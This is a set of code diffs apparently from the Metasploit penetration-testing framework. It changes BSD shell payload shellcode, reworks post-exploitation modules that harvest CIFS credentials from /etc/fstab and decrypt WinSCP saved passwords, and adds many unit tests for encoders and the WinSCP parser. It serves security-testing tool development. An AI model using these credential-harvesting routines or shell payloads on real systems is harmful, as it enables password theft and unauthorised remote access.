@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3 module Metasploit3
CachedSize = 89 CachedSize = 90
include Msf::Payload::Single include Msf::Payload::Single
include Msf::Payload::Bsd include Msf::Payload::Bsd
@ -46,7 +46,8 @@ module Metasploit3
"\x52" +# push %rdx # "\x52" +# push %rdx #
"\x52" +# push %rdx # "\x52" +# push %rdx #
"\x52" +# push %rdx # "\x52" +# push %rdx #
"\x68\x00\x1c\x11\x5c" +# pushq $0x5c111c00 # "\xba\x00\x1c\x11\x5C" +# mov edx,0x5c111c00 #
"\x52" +# push %rdx #
"\x48\x89\xe6" +# mov %rsp,%rsi # "\x48\x89\xe6" +# mov %rsp,%rsi #
"\x6a\x1c" +# pushq $0x1c # "\x6a\x1c" +# pushq $0x1c #
"\x5a" +# pop %rdx # "\x5a" +# pop %rdx #

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3 module Metasploit3
CachedSize = 87 CachedSize = 88
include Msf::Payload::Single include Msf::Payload::Single
include Msf::Payload::Bsd include Msf::Payload::Bsd
@ -44,7 +44,8 @@ module Metasploit3
"\x0f\x05" +# syscall # "\x0f\x05" +# syscall #
"\x48\x97" +# xchg %rax,%rdi # "\x48\x97" +# xchg %rax,%rdi #
"\x52" +# push %rdx # "\x52" +# push %rdx #
"\x68\x00\x02\x11\x5c" +# pushq $0x5c110200 # "\xba\x00\x02\x11\x5C" +# mov edx,0x5c110200 #
"\x52" +# push %rdx #
"\x48\x89\xe6" +# mov %rsp,%rsi # "\x48\x89\xe6" +# mov %rsp,%rsi #
"\x6a\x10" +# pushq $0x10 # "\x6a\x10" +# pushq $0x10 #
"\x5a" +# pop %rdx # "\x5a" +# pop %rdx #

View File

@ -47,10 +47,10 @@ class Metasploit3 < Msf::Post
cred = {} cred = {}
# if the fstab line utilizies the credentials= option, read the credentials from that file # if the fstab line utilizies the credentials= option, read the credentials from that file
if (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*/) if (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*/)
host = $1 cred[:host] = $1
# IPs can occur using the ip option, which is a backup/alternative # IPs can occur using the ip option, which is a backup/alternative
# to letting UNC resolution do its thing # to letting UNC resolution do its thing
host = $1 if (fstab_line =~ /ip=([^, ]+)/) cred[:host] = $1 if (fstab_line =~ /ip=([^, ]+)/)
if (fstab_line =~ /cred(?:entials)?=([^, ]+)/) if (fstab_line =~ /cred(?:entials)?=([^, ]+)/)
file = $1 file = $1
# skip if we've already parsed this credentials file # skip if we've already parsed this credentials file
@ -58,11 +58,13 @@ class Metasploit3 < Msf::Post
# store it if we haven't # store it if we haven't
cred_files << file cred_files << file
# parse the credentials # parse the credentials
creds << parse_credentials_file(file) cred.merge!(parse_credentials_file(file))
# if the credentials are directly in /etc/fstab, parse them # if the credentials are directly in /etc/fstab, parse them
elsif (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=/) elsif (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=/)
creds << parse_fstab_credentials(fstab_line) cred.merge!(parse_fstab_credentials(fstab_line))
end end
creds << cred
end end
end end
@ -71,10 +73,15 @@ class Metasploit3 < Msf::Post
creds.compact! creds.compact!
creds.uniq! creds.uniq!
creds.each do |cred| creds.each do |cred|
# XXX: currently, you can only report_auth_info on an IP or a valid Host. in our case,
# host[:host] is *not* a Host. Fix this some day.
if (Rex::Socket.dotted_ip?(cred[:host])) if (Rex::Socket.dotted_ip?(cred[:host]))
report_auth_info({ :port => 445, :sname => 'smb', :type => 'password', :active => true }.merge(cred)) report_cred(
ip: cred[:host],
port: 445,
service_name: 'smb',
user: cred[:user],
password: cred[:pass],
proof: '/etc/fstab'
)
end end
cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ] cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ]
end end
@ -93,8 +100,37 @@ class Metasploit3 < Msf::Post
end end
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password,
module_fullname: fullname,
session_id: session_db_id,
post_reference_name: self.refname
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
# Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab. # Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab.
# Returns the username+domain and password as a hash, nil if nothing is found. # Returns the username+domain and password as a hash.
def parse_fstab_credentials(line, file="/etc/fstab") def parse_fstab_credentials(line, file="/etc/fstab")
creds = {} creds = {}
# get the username option, which comes in one of four ways # get the username option, which comes in one of four ways
@ -123,11 +159,12 @@ class Metasploit3 < Msf::Post
creds[:user] = "#{$1}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/) creds[:user] = "#{$1}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/)
creds[:file] = file unless (creds.empty?) creds[:file] = file unless (creds.empty?)
(creds.empty? ? nil : creds)
creds
end end
# Parse mount.cifs credentials from +file+, returning the username+domain and password # Parse mount.cifs credentials from +file+, returning the username+domain and password
# as a hash, nil if nothing is found. # as a hash.
def parse_credentials_file(file) def parse_credentials_file(file)
creds = {} creds = {}
domain = nil domain = nil
@ -145,6 +182,6 @@ class Metasploit3 < Msf::Post
creds[:user] = "#{domain}\\#{creds[:user]}" if (domain and creds[:user]) creds[:user] = "#{domain}\\#{creds[:user]}" if (domain and creds[:user])
creds[:file] = file unless (creds.empty?) creds[:file] = file unless (creds.empty?)
(creds.empty? ? nil : creds) creds
end end
end end

View File

@ -1,5 +1,3 @@
# post/windows/gather/enum_vnc_pw.rb
## ##
# This module requires Metasploit: http://metasploit.com/download # This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework # Current source: https://github.com/rapid7/metasploit-framework
@ -8,6 +6,7 @@
require 'msf/core' require 'msf/core'
require 'rex' require 'rex'
require 'rex/parser/ini' require 'rex/parser/ini'
require 'rex/parser/winscp'
require 'msf/core/auxiliary/report' require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post class Metasploit3 < Msf::Post
@ -15,6 +14,7 @@ class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Post::Windows::UserProfiles include Msf::Post::Windows::UserProfiles
include Msf::Post::File include Msf::Post::File
include Rex::Parser::WinSCP
def initialize(info={}) def initialize(info={})
super(update_info(info, super(update_info(info,
@ -73,14 +73,21 @@ class Metasploit3 < Msf::Post
portnum = 22 portnum = 22
end end
winscp_store_config( encrypted_password = password
'FSProtocol' => registry_getvaldata(active_session, 'FSProtocol') || "", user = registry_getvaldata(active_session, 'UserName') || ""
'HostName' => registry_getvaldata(active_session, 'HostName') || "", fsprotocol = registry_getvaldata(active_session, 'FSProtocol') || ""
'Password' => password, sname = parse_protocol(fsprotocol)
'PortNumber' => portnum, host = registry_getvaldata(active_session, 'HostName') || ""
'UserName' => registry_getvaldata(active_session, 'UserName') || "",
)
plaintext = decrypt_password(encrypted_password, "#{user}#{host}")
winscp_store_config({
hostname: host,
username: user,
password: plaintext,
portnumber: portnum,
protocol: sname
})
end end
if savedpwds == 0 if savedpwds == 0
@ -96,121 +103,62 @@ class Metasploit3 < Msf::Post
end end
def get_ini(filename)
print_error("Looking for #{filename}.")
# opens the WinSCP.ini file for reading and loads it into the MSF Ini Parser
parse = read_file(filename)
if parse.nil?
print_error("WinSCP.ini file NOT found...")
return
end
print_status("Found WinSCP.ini file...")
ini = Rex::Parser::Ini.from_s(parse)
# if a Master Password is in use we give up
if ini['Configuration\\Security']['MasterPassword'] == '1'
print_status("Master Password Set, unable to recover saved passwords!")
return nil
end
# Runs through each group in the ini file looking for all of the Sessions
ini.each_key do |group|
if group.include?('Sessions') && ini[group].has_key?('Password')
winscp_store_config(
'FSProtocol' => ini[group]['FSProtocol'],
'HostName' => ini[group]['HostName'],
'Password' => ini[group]['Password'],
'PortNumber' => ini[group]['PortNumber'] || 22,
'UserName' => ini[group]['UserName'],
)
end
end
end
def decrypt_next_char
pwalg_simple_magic = 0xA3
pwalg_simple_string = "0123456789ABCDEF"
# Decrypts the next character in the password sequence
if @password.length > 0
# Takes the first char from the encrypted password and finds its position in the
# pre-defined string, then left shifts the returned index by 4 bits
unpack1 = pwalg_simple_string.index(@password[0,1])
unpack1 = unpack1 << 4
# Takes the second char from the encrypted password and finds its position in the
# pre-defined string
unpack2 = pwalg_simple_string.index(@password[1,1])
# Adds the two results, XORs against 0xA3, NOTs it and then ands it with 0xFF
result= ~((unpack1+unpack2) ^ pwalg_simple_magic) & 0xff
# Strips the first two chars off and returns our result
@password = @password[2,@password.length]
return result
end
end
def decrypt_password(pwd, key)
pwalg_simple_flag = 0xFF
@password = pwd
flag = decrypt_next_char()
if flag == pwalg_simple_flag
decrypt_next_char()
length = decrypt_next_char()
else
length = flag
end
ldel = (decrypt_next_char())*2
@password = @password[ldel,@password.length]
result = ""
length.times do
result << decrypt_next_char().chr
end
if flag == pwalg_simple_flag
result = result[key.length, result.length]
end
result
end
def run def run
print_status("Looking for WinSCP.ini file storage...") print_status("Looking for WinSCP.ini file storage...")
get_ini(expand_path("%PROGRAMFILES%\\WinSCP\\WinSCP.ini"))
print_status("Looking for Registry Storage...") # WinSCP is only x86...
get_reg() if sysinfo['Architecture'] == 'x86'
print_status("Done!") prog_files_env = 'ProgramFiles'
else
prog_files_env = 'ProgramFiles(x86)'
end
env = get_envs('APPDATA', prog_files_env, 'USERNAME')
user_dir = "#{env['APPDATA']}\\..\\.."
user_dir << "\\.." if user_dir.include?('Users')
users = dir(user_dir)
users.each do |user|
next if user == "." || user == ".."
app_data = "#{env['APPDATA'].gsub(env['USERNAME'], user)}\\WinSCP.ini"
vprint_status("Looking for #{app_data}...")
get_ini(app_data) if file?(app_data)
end
program_files = "#{env[prog_files_env]}\\WinSCP\\WinSCP.ini"
get_ini(program_files) if file?(program_files)
print_status("Looking for Registry storage...")
get_reg
end
def get_ini(file_path)
print_good("WinSCP.ini located at #{file_path}")
file = read_file(file_path)
stored_path = store_loot('winscp.ini', 'text/plain', session, file, 'WinSCP.ini', file_path)
print_status("WinSCP saved to loot: #{stored_path}")
parse_ini(file).each do |res|
winscp_store_config(res)
end
end end
def winscp_store_config(config) def winscp_store_config(config)
host = config['HostName'] begin
pass = config['Password'] res = client.net.resolve.resolve_host(config[:hostname], AF_INET)
portnum = config['PortNumber'] ip = res[:ip] if res
proto = config['FSProtocol'] rescue Rex::Post::Meterpreter::RequestError => e
user = config['UserName'] print_error("Unable to store following credentials in database as we are unable to resolve the IP address: #{e}")
ensure
print_good("Host: #{config[:hostname]}, IP: #{ip}, Port: #{config[:portnumber]}, Service: #{config[:protocol]}, Username: #{config[:username]}, Password: #{config[:password]}")
end
sname = case proto.to_i return unless ip
when 5 then "FTP"
when 0 then "SSH"
end
# Decrypt our password, and report on results
plaintext = decrypt_password(pass, user+host)
print_status("Host: #{host} Port: #{portnum} Protocol: #{sname} Username: #{user} Password: #{plaintext}")
service_data = { service_data = {
# XXX This resolution should happen on the victim side instead address: ip,
address: ::Rex::Socket.getaddress(host), port: config[:portnumber],
port: portnum, service_name: config[:protocol],
service_name: sname,
protocol: 'tcp', protocol: 'tcp',
workspace_id: myworkspace_id, workspace_id: myworkspace_id,
} }
@ -220,8 +168,8 @@ class Metasploit3 < Msf::Post
session_id: session_db_id, session_id: session_db_id,
post_reference_name: self.refname, post_reference_name: self.refname,
private_type: :password, private_type: :password,
private_data: plaintext, private_data: config[:password],
username: user username: config[:username]
}.merge(service_data) }.merge(service_data)
credential_core = create_credential(credential_data) credential_core = create_credential(credential_data)

View File

@ -17,6 +17,34 @@ describe Msf::Exploit::Capture do
subject.should be_a_kind_of Msf::Exploit::Capture subject.should be_a_kind_of Msf::Exploit::Capture
end end
context '#capture_sendto' do
let(:payload) { Rex::Text::rand_text_alphanumeric(100 + rand(1024)) }
before(:each) do
allow(subject).to receive(:capture).and_return(true)
end
it 'should return the correct number of bytes if the destination MAC can be determined, regardless of broadcast' do
allow(subject).to receive(:lookup_eth).and_return(%w(de:ad:be:ef:ca:fe 01:02:03:04:05:06))
allow(subject).to receive(:inject_eth).and_return(payload.size)
subject.capture_sendto(payload, '127.0.0.1', false).should == payload.size
subject.capture_sendto(payload, '127.0.0.1', true).should == payload.size
end
it 'should return false if the destination MAC cannot be determined and broadcast is not desired' do
allow(subject).to receive(:lookup_eth).and_return(nil)
subject.capture_sendto(payload, '127.0.0.1').should be_falsey
subject.capture_sendto(payload, '127.0.0.1', false).should be_falsey
end
it 'should return the correct number of bytes if the destination MAC cannot be determined and broadcast is desired' do
allow(subject).to receive(:lookup_eth).and_return(nil)
allow(subject).to receive(:inject_eth).and_return(payload.size)
subject.capture_sendto(payload, '127.0.0.1', true).should == payload.size
end
end
context '#stats_*' do context '#stats_*' do
it 'should show received packets' do it 'should show received packets' do

View File

@ -46,17 +46,6 @@ describe Msf::Module do
it { is_expected.to respond_to :is_usable } it { is_expected.to respond_to :is_usable }
end end
describe '#user_data_is_match?' do
subject(:msf_module) {
msf_module = described_class.new
msf_module.user_data = { match: 'match', match_set: 'match_set', run: 'run' }
msf_module
}
specify do
expect(msf_module.user_data_is_match?).to eq(true)
end
end
describe "cloning modules into replicants" do describe "cloning modules into replicants" do
module MsfExtensionTestFoo; def my_test1; true; end; end; module MsfExtensionTestFoo; def my_test1; true; end; end;
module MsfExtensionTestBar; def my_test2; true; end; end; module MsfExtensionTestBar; def my_test2; true; end; end;

View File

@ -321,7 +321,7 @@ describe Msf::Ui::Console::CommandDispatcher::Db do
db.cmd_db_export "-h" db.cmd_db_export "-h"
@output.should =~ [ @output.should =~ [
"Usage:", "Usage:",
" db_export -f <format> [-a] [filename]", " db_export -f <format> [filename]",
" Format can be one of: xml, pwdump" " Format can be one of: xml, pwdump"
] ]
end end

View File

@ -1004,12 +1004,38 @@ describe Rex::Arch::X86 do
it "returns a register as third element" do it "returns a register as third element" do
expect(subject[2]).to be_an Fixnum expect(subject[2]).to be_an Fixnum
end end
context "when modified_registers passed" do
let(:modified_registers) { [] }
it "add modified registers" do
described_class.geteip_fpu(badchars, modified_registers)
expect(modified_registers).to_not be_empty
end
it "modifies 2 or 3 registers" do
described_class.geteip_fpu(badchars, modified_registers)
expect(modified_registers.length).to be_between(2, 3)
end
it "modifies ESP" do
described_class.geteip_fpu(badchars, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ESP)
end
end
end end
context "when too many badchars" do context "when too many badchars" do
let(:badchars) { (0x00..0xff).to_a.pack("C*") } let(:badchars) { (0x00..0xff).to_a.pack("C*") }
it { is_expected.to be_nil } it { is_expected.to be_nil }
context "when modified_registers passed" do
let(:modified_registers) { [] }
it "doesn't add any register" do
described_class.geteip_fpu(badchars, modified_registers)
expect(modified_registers).to be_empty
end
end
end end
end end

View File

@ -0,0 +1,17 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/arch'
describe Rex::Arch do
describe ".pack_addr" do
subject { described_class.pack_addr(arch, addr) }
context "when arch is ARCH_ZARCH" do
let(:arch) { ARCH_ZARCH }
let(:addr) { 0xdeadbeefbe655321 }
it "packs addr as 64-bit unsigned, big-endian" do
is_expected.to eq("\xDE\xAD\xBE\xEF\xBEeS!")
end
end
end
end

View File

@ -50,6 +50,180 @@ describe Rex::Encoder::Alpha2::AlphaMixed do
expect { decoder_prefix }.to raise_error expect { decoder_prefix }.to raise_error
end end
end end
context "when modified_registers is passed" do
context "when reg is ECX" do
context "when offset is 10" do
let(:reg) { 'ECX' }
let(:offset) { 10 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 5" do
let(:reg) { 'ECX' }
let(:offset) { 5 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 0" do
let(:reg) { 'ECX' }
let(:offset) { 0 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "doesn't mark EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 15" do
let(:reg) { 'ECX' }
let(:offset) { 15 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
end
context "when reg is EDX" do
context "when offset is 10" do
let(:reg) { 'EDX' }
let(:offset) { 10 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 5" do
let(:reg) { 'EDX' }
let(:offset) { 5 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 0" do
let(:reg) { 'EDX' }
let(:offset) { 0 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "doesn't mark EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 15" do
let(:reg) { 'EDX' }
let(:offset) { 15 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
end
end
end end
@ -83,6 +257,28 @@ describe Rex::Encoder::Alpha2::AlphaMixed do
expect { decoder }.to raise_error expect { decoder }.to raise_error
end end
end end
end
context "when modified_registers passed" do
let(:modified_registers) { [] }
it "marks EDX as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
it "marks ECX as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EAX as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EAX)
end
it "marks ESP as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ESP)
end
end
end
end end

View File

@ -56,6 +56,180 @@ describe Rex::Encoder::Alpha2::AlphaUpper do
expect { decoder_prefix }.to raise_error expect { decoder_prefix }.to raise_error
end end
end end
context "when modified_registers is passed" do
context "when reg is ECX" do
context "when offset is 10" do
let(:reg) { 'ECX' }
let(:offset) { 10 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 5" do
let(:reg) { 'ECX' }
let(:offset) { 5 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 0" do
let(:reg) { 'ECX' }
let(:offset) { 0 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "doesn't mark EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 15" do
let(:reg) { 'ECX' }
let(:offset) { 15 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
end
context "when reg is EDX" do
context "when offset is 10" do
let(:reg) { 'EDX' }
let(:offset) { 10 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 5" do
let(:reg) { 'EDX' }
let(:offset) { 5 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 0" do
let(:reg) { 'EDX' }
let(:offset) { 0 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "doesn't mark EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 15" do
let(:reg) { 'EDX' }
let(:offset) { 15 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
end
end
end end
@ -89,6 +263,34 @@ describe Rex::Encoder::Alpha2::AlphaUpper do
expect { decoder }.to raise_error expect { decoder }.to raise_error
end end
end end
context "when modified_registers passed" do
let(:modified_registers) { [] }
it "marks EDX as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
it "marks ECX as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks ESI as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ESI)
end
it "marks EAX as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EAX)
end
it "marks ESP as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ESP)
end
end
end end
end end

View File

@ -0,0 +1,98 @@
require 'rex/parser/winscp'
INI_SECURITY = "[Configuration\\Security]\nUseMasterPassword=1\nMasterPasswordVerifier=\n"
USERNAME = 'username'
HOST = 'server.feralhosting.com'
PASSWORD='A35C7659654B2AB83C292F392E323D31392F392E2A392E723A392E3D3034332F2835323B723F33312F383A2F383A3B2F3B3B3B'
SAMPLE_INI = <<-END
[Sessions\\username@server.feralhosting.com]
HostName=#{HOST}
Timeout=6000
SshProt=3
UserName=#{USERNAME}
UpdateDirectories=0
Utf=1
Password=#{PASSWORD}
Shell=/bin/bash}
END
describe Rex::Parser::WinSCP do
let(:target) do
d = Class.new { include Rex::Parser::WinSCP }
d.new
end
context "#parse_protocol" do
it "returns 'Unknown' for unknown protocols" do
expect(target.parse_protocol(nil)).to eq('Unknown')
expect(target.parse_protocol(99)).to eq('Unknown')
expect(target.parse_protocol('stuff')).to eq('Unknown')
end
it "returns 'SSH' for protocol 0" do
expect(target.parse_protocol(0)).to eq('SSH')
end
it "returns 'FTP' for protocol 5" do
expect(target.parse_protocol(5)).to eq('FTP')
end
end
context "#decrypt_next_char" do
it "returns 0 and the pwd if pwd length <= 0" do
r, pwd = target.decrypt_next_char('')
expect(r).to eq(0)
expect(pwd).to eq('')
end
it "strips the first two characters from the return value" do
_, pwd = target.decrypt_next_char('A3')
expect(pwd).to eq('')
end
it "returns 255 for 'A3'" do
r, _ = target.decrypt_next_char('A3')
expect(r).to eq(Rex::Parser::WinSCP::PWDALG_SIMPLE_FLAG)
end
end
context "#decrypt_password" do
it "returns 'sdfsdfgsggg' for the example password" do
expect(target.decrypt_password(PASSWORD, "#{USERNAME}#{HOST}")).to eq('sdfsdfgsggg')
end
end
context "#parse_ini" do
it "raises a RuntimeError if ini is nil or empty" do
expect { target.parse_ini('') }.to raise_error(RuntimeError, /No data/i)
expect { target.parse_ini(nil) }.to raise_error(RuntimeError, /No data/i)
end
it "raises a RuntimeError if UseMasterPassword is 1" do
expect { target.parse_ini(INI_SECURITY) }.to raise_error(RuntimeError, /Master/i)
end
it "parses the example ini" do
r = target.parse_ini(SAMPLE_INI).first
expect(r[:hostname]).to eq(HOST)
expect(r[:password]).to eq('sdfsdfgsggg')
expect(r[:username]).to eq(USERNAME)
expect(r[:protocol]).to eq('SSH')
expect(r[:portnumber]).to eq(22)
end
end
context "#read_and_parse_ini" do
it "returns nil if file is empty or doesn't exist" do
File.stub(:read).and_return(nil)
expect(target.read_and_parse_ini('blah')).to be nil
end
it "parses the example ini and return a single result" do
File.stub(:read).and_return(SAMPLE_INI)
expect(target.read_and_parse_ini(SAMPLE_INI).count).to eq 1
end
end
end

View File

@ -22,6 +22,20 @@ describe Rex::Text do
end end
end end
context ".to_ibm1047" do
it "should convert ASCII to mainfram EBCDIC (cp1047)" do
described_class.to_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]).should
eq("_\xAD\xBDM]\xC0\xD0lZ[{\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xF0\x81\x82\x83\x84\x85}\x7Fy\xA1")
end
end
context ".from_1047" do
it "should convert mainframe EBCDIC (cp1047) to ASCII (ISO-8859-1)" do
described_class.from_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]).should
